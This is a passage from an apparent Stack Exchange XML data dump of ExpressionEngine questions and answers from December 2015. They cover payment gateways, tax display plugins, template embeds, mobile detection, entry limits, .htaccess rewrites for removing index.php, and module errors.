Required'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkout review details page now has Stripe card payment as default with an option for the customer to switch to PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should say there is an annoying bug in Expresso Store 1.6.5 that may cause you problems if you decide on a similar solution for your client. It affects the use of radio buttons for selecting payment gateways: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/15106/1019&quot;&gt;https://expressionengine.stackexchange.com/a/15106/1019&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I identified this I implemented gateway selection using a select dropdown instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a fix for the PayPal card processing instead please do post back here. I do intend to investigate this further but with Stripe working the pressure is off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="1019" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-12-02T14:09:04.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34915" PostTypeId="2" ParentId="34913" CreationDate="2015-12-02T14:14:21.930" Score="1" Body="&lt;p&gt;There is not, because you are now expected to include the tax in your product price if you are using tax-inclusive pricing. From the &lt;a href=&quot;https://www.exp-resso.com/docs/store_20_upgrade_notes.html#tax_handling&quot; rel=&quot;nofollow&quot;&gt;upgrade notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In Store 2, prices are entered in the control panel exactly as you want them to be displayed. Taxes may be configured as &quot;included in price&quot;, which indicates that the tax should not be added to the order total. For example, say you create a product which sells for $20.00, and a tax of 10% which is included in the price. In the checkout, when the customer purchases this item, they will see the item price as $20.00, a tax of $1.82, and an order total of $20.00.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-02T14:14:21.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34916" PostTypeId="2" ParentId="34911" CreationDate="2015-12-02T14:15:52.953" Score="1" Body="&lt;p&gt;This is a bug in 2.7.3, &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19977&quot; rel=&quot;nofollow&quot;&gt;documented here&lt;/a&gt;. There's a fix in the bug report as well.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-02T14:15:52.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34917" PostTypeId="2" ParentId="34907" CreationDate="2015-12-02T14:23:44.607" Score="0" Body="&lt;p&gt;Looking at the code, CartThrob can only use this feature for logged-in members. It cannot track coupon code usage by guests.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-02T14:23:44.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34918" PostTypeId="2" ParentId="34905" CreationDate="2015-12-02T14:33:52.233" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/34908/55&quot;&gt;Ingmar's answer&lt;/a&gt; will work, but my preferred way to do this (if you're not using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/layouts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Layouts&lt;/a&gt; that is - which you really should be!) would be to actually declare what you want to do via your embed parameters. e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header&quot; include_map=&quot;y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded template you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:include_map == &quot;y&quot;}&#xA;     // Your map code.&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will make much more sense down the road when you or someone else revisits it, and it's easier to enable that same extra code in your header in other templates as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I'd also suggest you &lt;em&gt;not&lt;/em&gt; place an embed &lt;em&gt;inside of&lt;/em&gt; another embed, as it's not very performant. (Just put your actual javascript there in this example.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-12-02T14:33:52.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34919" PostTypeId="2" ParentId="34913" CreationDate="2015-12-02T15:26:56.027" Score="1" Body="&lt;p&gt;For the same reason (upgrading from EE1 to EE2 with all prices entered without tax), I wrote a &lt;a href=&quot;https://github.com/peteralewis/tax&quot; rel=&quot;nofollow&quot;&gt;tax plugin&lt;/a&gt; which could display it however I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation is non-existent, but this should get you going...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Only&lt;/strong&gt;&#xA;Returns just the tax.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tax:only price=&quot;&amp;lt;price from store&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Price&lt;/strong&gt;&#xA;Returns the total price (with tax)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tax:price price=&quot;&amp;lt;price from store&amp;gt;&quot; included=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;None&lt;/strong&gt;&#xA;Return the price without tax - assumes tax is included in price&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tax:none price=&quot;&amp;lt;price from store&amp;gt;&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like it works as a tag pair too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tax:only rate=&quot;5&quot;}{price}{/exp:tax:only}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additional parameters&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rate=&quot;5&quot;&lt;/li&gt;&#xA;&lt;li&gt;show_currency=&quot;yes&quot;&lt;/li&gt;&#xA;&lt;li&gt;currency=&quot;$&quot;&lt;/li&gt;&#xA;&lt;li&gt;position=&quot;before&quot; (currency symbol position, options: before, after)&lt;/li&gt;&#xA;&lt;li&gt;decimals=&quot;yes&quot; (decimal places set through config only)&lt;/li&gt;&#xA;&lt;li&gt;thousands=&quot;yes&quot; (show thousand separator - character set through config, defaults to &quot;,&quot;)&lt;/li&gt;&#xA;&lt;li&gt;rounding=&quot;up&quot; (valid options: up, down, nearest)&lt;/li&gt;&#xA;&lt;li&gt;included=&quot;no&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can set any defaults in EE Config:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tax_rate&lt;/li&gt;&#xA;&lt;li&gt;tax_included&lt;/li&gt;&#xA;&lt;li&gt;tax_currency&lt;/li&gt;&#xA;&lt;li&gt;tax_position&lt;/li&gt;&#xA;&lt;li&gt;tax_decimals&lt;/li&gt;&#xA;&lt;li&gt;tax_thousands&lt;/li&gt;&#xA;&lt;li&gt;tax_show_currency&lt;/li&gt;&#xA;&lt;li&gt;tax_rounding&lt;/li&gt;&#xA;&lt;li&gt;tax_decimal_places&lt;/li&gt;&#xA;&lt;li&gt;tax_thousand_symbol&lt;/li&gt;&#xA;&lt;li&gt;tax_decimal_symbol&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-12-02T15:34:04.580" LastActivityDate="2015-12-02T15:34:04.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34920" PostTypeId="2" ParentId="19848" CreationDate="2015-12-02T16:04:52.293" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Even after I tried my method out, I still returned inconsistent results. I'd strongly recommend using Gareth Davies' Detect Mobile plugin, since it's CMS-agnostic and will likely not break simply because Expression Engine is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/garethtdavies/detect-mobile&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/garethtdavies/detect-mobile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing it and implementing the following logic, it worked flawlessly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:detect_mobile:ismobile}&quot;}&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;scripts/mobile&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;scripts/desktop&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've been having trouble with MX Mobile Detect as well, running EE 2.8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're fed up with that plugin, you might also try Gareth Davies's version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/garethtdavies/detect-mobile&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/garethtdavies/detect-mobile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll share my solution with you, as it's the best one I could figure out given poor documentation and upkeep. What they fail to emphasize is that the pair tags are specified using &lt;code&gt;exp:mobile_detect:pair&lt;/code&gt; for &lt;strong&gt;server-side&lt;/strong&gt; user agent detection and that the conditional variables are &lt;strong&gt;custom&lt;/strong&gt;, not prebuilt. When I tried the &lt;code&gt;{screen_width}&lt;/code&gt; specified in their example, it did not return a value. Therefore, it's probably safe to assume this was an example variable they created in their MX Mobile Detect settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vSwek.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vSwek.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a variable with the name &quot;responsive&quot; and specify the criteria for returning various string values. In my template, I create&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mobile_detect:pair}&#xA;    {if &quot;{responsive}&quot; == &quot;mobile&quot;}&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;scripts/mobile&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;scripts/desktop&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    {/if}&#xA;{/exp:mobile_detect:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on what my experience with the plugin, it seems like it detects &lt;strong&gt;device width&lt;/strong&gt;, not &lt;strong&gt;browser/window&lt;/strong&gt; width. If you're using a 1024px wide display, it'll still return the conditional value for 1024px, even if your browser window is less than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more information on how to debug, try out this page for information. But you should test the output yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.eec.ms/user_guide/mobile-device-detect/tags.html#lv19&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.eec.ms/user_guide/mobile-device-detect/tags.html#lv19&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-12-02T16:24:18.950" LastActivityDate="2015-12-02T16:24:18.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34921" PostTypeId="1" CreationDate="2015-12-02T18:12:55.723" Score="1" ViewCount="60" Body="&lt;p&gt;Hey everyone this is a weird issue I hope I can get some clarification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, this is EE 2.2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of our pages cannot show entries that have a title that starts with X,Y,or Z.  All other letters work.  There is nothing complex in the code to exclude any letters or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;add-job&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;{if job-type == &quot;Full-Time&quot;}&#xA;&#xA;&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{title_permalink='/employment/job-detail/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{related_entries id=&quot;Willson&quot;}&amp;lt;li&amp;gt; Camp Willson&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;delawarey-staff-contact222&quot;}&amp;lt;li&amp;gt;Delaware Community Center &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;Downtown&quot;}&amp;lt;li&amp;gt;Downtown &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;ELC&quot;}&amp;lt;li&amp;gt; Early Learning Center&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;ECRN&quot;}&amp;lt;li&amp;gt;ECRN+&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;Ward&quot;}&amp;lt;li&amp;gt;Eldon &amp;amp; Elsie Ward Family &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;gahanna-staff-contact&quot;}&amp;lt;li&amp;gt;Gahanna &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;grovecity-branch-contact&quot;}&amp;lt;li&amp;gt;Grove City &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;hilliard-branch-contact&quot;}&amp;lt;li&amp;gt;Hilliard &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;hilltop-branch-contact&quot;}&amp;lt;li&amp;gt;Hilltop &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;hilltopeducare-branch-contact&quot;}&amp;lt;li&amp;gt; Hilltop Educare&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;cherrycreek-branch-contact&quot;}&amp;lt;li&amp;gt;Hilltop /Cherry Creek&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;hoover-branch-contact&quot;}&amp;lt;li&amp;gt;Hoover Y Park&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;garver-branch-contact&quot;}&amp;lt;li&amp;gt;Jerry L. Garver &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;liberty-branch-contact&quot;}&amp;lt;li&amp;gt;Liberty Township/Powell &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;metro-contact&quot;}&amp;lt;li&amp;gt;Metropolitan Offices&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;north-branch-contact&quot;}&amp;lt;li&amp;gt;North &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;pals-contact&quot;}&amp;lt;li&amp;gt;PALS/Juvenile Justice&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;pickaway-branch-contact&quot;}&amp;lt;li&amp;gt;Pickaway County Family &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;stanns-branch-contact&quot;}&amp;lt;li&amp;gt; St. Ann's Educare&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;sunshine-branch-contact&quot;}&amp;lt;li&amp;gt;Franklin Station&amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;vaughn-branch-contact&quot;}&amp;lt;li&amp;gt;Vaughn E. Hairston &amp;lt;/li&amp;gt;{/related_entries}&#xA;{related_entries id=&quot;van-buren-center-contact&quot;}&amp;lt;li&amp;gt;Van Buren Center&amp;lt;/li&amp;gt;{/related_entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can take an entry that doesn't work, change the title to &quot;T&quot; or really any other letter, and it will work.  When I make test entries that just say X,Y, or Z, nothing works.&lt;/p&gt;&#xA;" OwnerUserId="6811" LastActivityDate="2016-05-25T19:12:21.383" Title="Entry titles that start with X,Y, or Z do not show up on page" Tags="|channel-entries|entries|title|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34922" PostTypeId="1" CreationDate="2015-12-02T19:45:24.087" Score="1" ViewCount="26" Body="&lt;p&gt;I cannot find how to offer a Renew process. There is no documentation about a {exp:subs:renew} or similar tag. The tag exists as I can see it in the subs file system, and blank output occurs to the screen (as opposed to an error about not being able to process the tag). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to offer a renewal process? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect the renewal process to allow an active subscriber (with auto renew on or off), or a cancelled subscriber (that still have the plan left) to be able to make a payment which extends their subscription for the specified period of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment a user can re-subscribe, but that just adds the same plan they are on with expiry set from the time they subscribe again, and it does not add the duration onto their already existing plan. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2015-12-02T19:45:24.087" Title="How to provide a Renew option for DevDemon Subscriptions?" Tags="|devdemon-subscriptions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34923" PostTypeId="2" ParentId="34906" CreationDate="2015-12-02T19:46:34.733" Score="1" Body="&lt;p&gt;Looks like our Playa field tag (&lt;code&gt;{neighborhood_plan}&lt;/code&gt;) is missing the prefix - it needs that since it's inside of your prefixed Matrix field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{neighborhood_plans var_prefix=&quot;npd&quot; search:neighborhood_plan_availability=&quot;not hide&quot;}{!-- Matrix field in neighborhood channel --}&#xA;    {npd:neighborhood_plan var_prefix=&quot;pd&quot;}{!-- Playa column in matrix field in neighborhood channel --}&#xA;        {pd:title}&#xA;    {/npd:neighborhood_plan}&#xA;{/neighborhood_plans}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-02T19:46:34.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34924" PostTypeId="1" AcceptedAnswerId="34987" CreationDate="2015-12-02T21:46:20.473" Score="0" ViewCount="42" Body="&lt;p&gt;I am using v. 5.0.0 of the Solspace tag module in EE3, and when I use the channel parameter in the tag cloud, I get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice&#xA;&#xA;Undefined property: Tag::$sc&#xA;user/addons/tag/mod.tag.php, line 2331&#xA;&#xA;Trying to get property of non-object&#xA;user/addons/tag/mod.tag.php, line 2331&#xA;&#xA;Trying to get property of non-object&#xA;user/addons/tag/mod.tag.php, line 2331&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:cloud tag_group_name=&quot;my_group&quot; channel=&quot;my_channel1|my_channel2&quot; orderby=&quot;tag_name&quot; rank_by=&quot;entries&quot; sort=&quot;asc&quot; start=&quot;12&quot; step=&quot;8&quot; groups=&quot;5&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;my_channel/my_group&quot;}/{websafe_tag}&quot; style=&quot;font-size: {step}px;&quot; title=&quot;{tag}: {count} entries&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:tag:cloud}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code worked with v. 4.2.9 &amp;amp; EE2. If I remove the channel=&quot;my_channel&quot; parameter then the errors go away. I also noticed that the channel parameter is not listed in the current documentation or the 4.2.9 documentation, but it still worked before. Has this parameter been removed? &lt;/p&gt;&#xA;" OwnerUserId="3432" LastEditorUserId="3579" LastEditDate="2015-12-03T00:19:33.843" LastActivityDate="2015-12-09T14:22:54.143" Title="Channel parameter error in Solspace tag cloud" Tags="|solspace|solspace-tag|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34925" PostTypeId="2" ParentId="34897" CreationDate="2015-12-03T02:33:32.747" Score="1" Body="&lt;p&gt;You can only delete images if that was the place it was originally uploaded. Once an image is uploaded it can be &quot;linked&quot; from other entries. Since that is not the original entry where the image exists you can only &quot;unlink&quot; it and you must delete from the original. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-12-03T02:33:32.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34926" PostTypeId="2" ParentId="34884" CreationDate="2015-12-03T07:37:31.770" Score="0" Body="&lt;p&gt;I deleted that entry and published the page again. (it was in a home channel, so only one entry luckily.) &lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2015-12-03T07:37:31.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34927" PostTypeId="2" ParentId="32126" CreationDate="2015-12-03T10:01:50.860" Score="0" Body="&lt;p&gt;The Solspace Team built a SalesForce integration module (not commercial), you can contact them. &#xA;Blog post : &lt;a href=&quot;https://solspace.com/blog/entry/expressionengine-salesforce-google-analytics-overbuilding&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine + Salesforce&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2015-12-03T10:16:14.000" LastActivityDate="2015-12-03T10:16:14.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34928" PostTypeId="1" CreationDate="2015-12-03T10:58:34.163" Score="0" ViewCount="1210" Body="&lt;p&gt;Using MAMP Pro I have an offline/local EE site setup. An htaccess file is set up in the root of the local domain site with the standard remove index.php script implemented (as shown in the offical ExpressionEngine documentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the htaccess is being picked up because I can get a 500 server error page to execute if I put random code in in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I put the official EE index.php removal code in the htaccess and go to local.sitename/sitepage I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Not Found&#xA;The requested URL /sitepage was not found on this server.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to confirm I have the following in the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/systemfoldername/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In terms of MAMP set up:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have Mamp Pro installed with Set ports Apache and MySQL to 80,443 and 3306.&lt;/li&gt;&#xA;&lt;li&gt;A local custom domain set up via HOSTS panel ' ie. local.sitename '.&lt;/li&gt;&#xA;&lt;li&gt;Under HOSTS &gt; Extended TAB &gt; 'Options All'. is selected to include all  options.&lt;/li&gt;&#xA;&lt;li&gt;PHP Version set to Default: (5.5.26) for local domain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In terms of EE Control Panel:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;'index.php' is removed from: Admin &gt; General Configuration &gt; Name of your site's index page (field).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In terms of htaccess variations of I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Removing &lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;/code&gt; tag pair.&lt;/li&gt;&#xA;&lt;li&gt;Adding a local path for RewriteBase / (ie. RewriteBase /username/sites/sitename/ etc).&lt;/li&gt;&#xA;&lt;li&gt;Removing the slash '/' from before index.php on line: &lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="193" LastEditorUserId="6825" LastEditDate="2015-12-03T13:39:37.397" LastActivityDate="2015-12-04T16:55:25.027" Title="Mamp Pro .htaccess issues for 'index.php' removal on local domain" Tags="|htaccess|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34932" PostTypeId="2" ParentId="34921" CreationDate="2015-12-03T16:44:08.130" Score="0" Body="&lt;p&gt;Thanks guys!  This is the second time the default entry limit got me.  I need to remember this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was, in fact, setting the entry limit to a higher number.&lt;/p&gt;&#xA;" OwnerUserId="6811" LastActivityDate="2015-12-03T16:44:08.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34934" PostTypeId="1" AcceptedAnswerId="34940" CreationDate="2015-12-03T18:58:16.110" Score="0" ViewCount="130" Body="&lt;p&gt;I'm currently working on a project where the website has two languages, Dutch and English. I've set up my root &lt;code&gt;index.php&lt;/code&gt; to have Dutch set as default language and an &lt;code&gt;index.php&lt;/code&gt; in &lt;code&gt;/en/&lt;/code&gt; is pointing it to the English website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ExpressionEngine version is v2.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where to start from here. My main questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I determine the user's location to be outside The Netherlands?&lt;/li&gt;&#xA;&lt;li&gt;How do I keep the language switcher intact (preventing endless&#xA;redirects).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6892" LastActivityDate="2015-12-04T10:34:57.157" Title="How do I automatically switch to a user's language upon first visit while still being able to switch to other languages?" Tags="|multi-language|cookies|index.php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34935" PostTypeId="1" AcceptedAnswerId="34945" CreationDate="2015-12-03T19:25:54.133" Score="0" ViewCount="40" Body="&lt;p&gt;Wiki version 2.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what the last available version of the first-party Wiki module is for EE2? I have some old wiki living somewhere on a site, and it's pulling this crap:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1064&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 9&#xA;&#xA;SELECT r.*, m.member_id, m.screen_name, m.email, m.url, p.page_namespace, p.page_name AS topic FROM exp_wiki_revisions r, exp_members m, exp_wiki_page p WHERE p.last_updated = r.revision_date AND m.member_id = r.revision_author AND r.page_id = p.page_id AND r.revision_status = 'open' AND r.wiki_id = '1' ORDER BY p.last_updated DESC LIMIT&#xA;&#xA;Filename: modules/wiki/mod.wiki.php&#xA;&#xA;Line Number: 1518&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at this address &lt;code&gt;/Special:Recentchanges_Atom&lt;/code&gt;. I honestly don't have time to debug something that's pretty damn underused, but it shows up as broken links with our web governance tool, and I just wish to be rid of it. I'm hoping we just missed a sub-version upgrade or something.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-04T17:26:43.967" Title="Last Wiki version for EE 2" Tags="|ee2|wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34939" PostTypeId="1" CreationDate="2015-12-04T10:31:24.320" Score="1" ViewCount="689" Body="&lt;p&gt;Is there a way to set the expiry time of the login cookie for users on the front end of an EE site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are hidden config variables for user_session_ttl but they don't seem to work if the Website session type is set to &quot;Cookies only&quot;. With Sessions enabled the login system doesn't work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a 2.9.2 site.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2019-01-29T16:03:15.663" Title="Setting expiry length of login cookie" Tags="|login|sessions|cookies|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
